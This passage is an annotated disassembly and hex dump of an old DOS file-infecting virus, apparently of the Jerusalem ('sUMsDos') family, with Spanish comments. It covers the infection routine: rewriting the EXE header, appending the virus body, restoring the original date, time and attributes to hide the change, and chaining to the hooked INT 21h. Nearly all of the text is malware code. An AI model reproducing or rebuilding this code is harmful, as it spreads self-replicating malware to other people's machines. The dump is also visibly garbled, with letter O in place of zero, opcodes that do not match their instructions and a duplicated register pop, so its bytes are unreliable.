 31AE:0578 720A JB 0584 ;principio.
 31AE:057A B91C00 MOV CX,001C ;Grabar la cabezera
 31AE:057D BA4F00 MOV DX,004F ;del archivo EXE
 31AE:0580 B440 MOV AH,40 ;con los valores
 31AE:0582 CD21 INT 21 ;cambiados.
 31AE:0584 7211 JB 0597
 31AE:0586 3BC1 CMP AX,CX
 31AE:0588 7518 JNZ 05A2
 31AE:058A BB167C00 MOV DX,[007C] ;Poner el puntero del
 31AE:058E B80E7E00 MOV CX,[007E] ;archivo señalando al
 31AE:0592 B80042 MOV AX,4200 ;final del contenido.
 31AE:0595 CD21 INT 21 ;del EXE original.
 31AE:0597 7209 JB 05A2
 31AE:0599 33D2 XOR DX,DX ;Añadir el código del
 31AE:059B B91007 MOV CX,0710 ;virus al
 31AE:059E B440 MOV AH,40 ;final del
 31AE:05A0 CD21 INT 21 ;EXE original.
 31AE:05A2 2E CS:
 31AE:05A3 B33E8F0000 CMP WORD PTR [008F],+00
 31AE:05A8 7404 JZ 05AE
 31AE:05AA B449 MOV AH,49 ;Liberar el bloque de memoria
 31AE:05AC CD21 INT 21 ;apuntado por ES.
 31AE:05AE 2E CS:
 31AE:05AF B33E7000FF CMP WORD PTR [0070],-01
 31AE:05B4 7431 JZ 05E7
 31AE:05B6 2E CS:
 31AE:05B7 BB1E7000 MOV BX,[0070] ;Handle del archivo.
 31AE:05BB 2E CS:
 31AE:05BC BB167400 MOV DX,[0074] ;Fecha original del archivo.
 31AE:05C0 2E CS:
 31AE:05C1 B80E7600 MOV CX,[0076] ;Hora original del archivo.
 31AE:05C5 B80157 MOV AX,5701 ;Grabar fecha y hora
 31AE:05C8 CD21 INT 21 ;originales.
 31AE:05CA B43E MOV AH,3E ;Cerrar
 31AE:05CC CD21 INT 21 ;archivo.
 31AE:05CE 2E CS:
 31AE:05CF C5168000 LDS DX,[0080] ;DS:DX apuntando al nombre
 ;del archivo.
 31AE:05D3 2E CS:
 31AE:05D4 B80E7200 MOV CX,[0072] ;Atributos originales del
 ;archivo.
 31AE:05D8 B80143 MOV AX,4301
 31AE:05DB CD21 INT 21
 31AE:05DD 2E CS:
 31AE:05DE C5161B00 LDS DX,[001B] ;Restaurar la
 31AE:05E2 B82425 MOV AX,2524 ;int24
 31AE:05E5 CD21 INT 21 ;original.
 31AE:05E7 07 POP ES
 31AE:05E8 1F POP DS
 31AE:05E9 5F POP DI
 31AE:05EA 5E POP SI
 31AE:05EB 5A POP DX
 31AE:05EC 59 POP CX
 31AE:05ED 5B POP BX
 31AE:05EE 58 POP CX

31AE:05F1 FF2E1700 JMP FAR [0017] ;Saltar a la int21h original
 -31AE:00CC 2E CS:
 31AE:00CD 8C063900 MOV [0039],ES
 31AE:00D1 2E CS:
 31AE:00D2 8C063D00 MOV [003D],ES
 -d31ae:05f5
 31AE:05F0 00 00 00-00 00 00 00 00 00 00 00 00 00 00 00 00
 31AE:0600 4D 8E 25 07 00 00 00 00-00 00 00 00 00 00 00 00 00
 31AE:0610 43 4F 4D 53 50 45 43 3D-43 3A 5C 43 4F 4D 4D 41
 31AE:0620 4E 44 2E 43 4F 4D 00 50-41 54 48 3D 43 3A 5C 44
 31AE:0630 4F 53 3B 43 3A 5C 50 43-54 4F 4F 4C 53 3B 43 3A
 31AE:0640 5C 44 4F 53 5C 55 54 49-4C 45 53 3B 00 50 52 4F
 31AE:0650 4D 50 54 3D 24 65 5B 33-32 6D 24 70 5C 24 65 5B
 31AE:0660 30 6D 00 00 01 00 43 3A-5C 52 41 54 4F 4E 5C 51
 31AE:0670 4D 4F 55 53 45
 -d
 31AE:0670 2E 43 4F-4D 00 00 63 6B 20 90 FF
 31AE:0680 4D D9 27 07 00 12 40 80-00 02 10 00 30 6E 01 00
 31AE:0690 43 4F 4D 53 50 45 43 3D-43 3A 5C 43 4F 4D 4D 41
 31AE:06A0 4E 44 2E 43 4F 4D 00 50-41 54 48 3D 43 3A 5C 44
 31AE:06B0 4F 53 3B 43 3A 5C 50 43-54 4F 4F 4C 53 3B 43 3A
 31AE:06C0 5C 44 4F 53 5C 55 54 49-4C 45 53 3B 00 50 52 4F
 31AE:06D0 4D 50 54 3D 24 65 5B 33-32 6D 24 70 5C 24 65 5B
 31AE:06E0 30 6D 00 00 01 00 43 3A-5C 50 43 54 4F 4F 4C 53
 31AE:06F0 5C 50 43 2D 43
 -d
 31AE:06F0 41 43 48-45 2E 43 4F 4D 00 02 02
 31AE:0700 4D 50 23 06 00 03 00 00-00 00 C6 00 AE 31 DF 28
 31AE:0710 74 65 8B 1F 8B 77 2E 33-C9 FF 77 2C FF 77 2A 51
 31AE:0720 FF 76 10 FF 76 0E FF 76-0C FF 76 0A FF 76 08 FF
 31AE:0730 76 06 FF 5C 10 8B 5E 12-BB 1F 8B 5F 32 F7 47 26
 31AE:0740 00 01 74 33 50 FF 74 7A-9A 6A 08 A5 02 8E C2 8B
 31AE:0750 D8 26 8B 07 33 C9 83 C3-06 51 50 06 53 FF 5C 54
 31AE:0760 FF 74 7A 9A 7D 08 A5 02-C7 06 CC 03 00 00 FF 76
 31AE:0770 12 9A 35 0E 9D
 -d31ae:0000
 31AE:0000 E9 92 00 73 55 4D 73 44-6F 73 00 01 D9 27 00 00
 31AE:0010 00 E9 50 AA 00 FB 20 62-14 6B 02 56 05 C9 21 EC
 31AE:0020 72 00 00 00 00 00 00-00 00 00 00 00 00 00 00 00
 31AE:0030 00 C8 22 80 00 00 00 80-00 C8 22 5C 00 C8 22 6C
 31AE:0040 00 C8 22 80 00 D1 0A 12-00 D5 04 00 F0 06 01 4D
 31AE:0050 5A 00 00 2C 00 00 00 20-00 EA 05 FF FF EF 04 10
 31AE:0060 07 84 19 C5 00 EF 04 22-00 00 00 00 00 00 00 00 00
 31AE:0070 05 00 20 00 A4 14 00 00-00 02 10 00 F0 50 00 00
 31AE:0080 49 43 11 9B 43 4F 4D 4D-41 4E 44 2E 43 4F 4D 00
 31AE:0090 00 00 00 00 FC B4 E0-CD 21 80 FC E0 73 16 80
 31AE:00AO FC 03 72 11 B4 DD BF 00-01 BE 10 07 03 F7 2E 8B
 31AE:00BO BD 11 00 CD 21 8C C8 05-10 00 BE DO BC 00 07 50
 31AE:00CO BB C5 00 50 CB FC 06 2E-8C 06 31 00 2E 8C 06 39
 31AE:00DO 00 2E 8C 06 3D 00 2E 8C-06 41 00 8C CO 05 10 00
 31AE:00EO 2E 01 06 49 00 2E 01 06-45 00 B4 EO CD 21 80 FC
 31AE:00FO EO 73 13 80 FC 03 07 2E-8E 16 45 00 2E 8B 26 43
 -d
 31AE:0100 00 2E FF 2E 47 00 33 C0-8E CO 26 A1 FC 03 2E A3
 31AE:0110 4B 00 26 A0 FE 03 2E A2-4D 00 26 C7 06 FC 03 F3
 31AE:0120 A5 26 C6 06 FE 03 CB 58-05 10 00 8E CO OE 1F B9
 31AE:0130 10 07 D1 E9 33 F6 8B FE-06 B8 42 01 50 EA FC 03
 31AE:0140 00 00 BC C8 8E DO BC 00-07 33 CO 8E D8 2E A1 4B
 31AE:0150 00 A3 FC 03 2E A0 4D 00-A2 FE 03 8B DC B1 04 D3
 31AE:0160 EB 83 C3 10 2E 89 1E 33-00 B4 4A 2E BE 06 31 00
 31AE:0170 CD 21 BB 21 35 CD 21 2E-89 1E 17 00 2E 8C 06 19
 -d31ae:0000

31AE:01BO 00 1E 06 50 53 51 52 B4-2A CD 21 2E C6 06 0E 00 ...PSQR.*.!....
31AE:01CO 00 81 F9 C3 07 74 30 3C-05 75 0D 80 FA 0D 75 08to<u.....u.
31AE:01DO 2E FE 06 0E 00 EB 20 90-B8 08 35 CD 21 2E 89 1E 5.!...
31AE:01EO 13 00 2E 8C 06 15 00 0E-1F C7 06 1F 00 90 7E B8 ~.
31AE:01FO 08 25 BA 1E 02 CD 21 5A-59 5B 58 07 1F 9C 2E FF .%...!ZYEX....

--d0000:03fc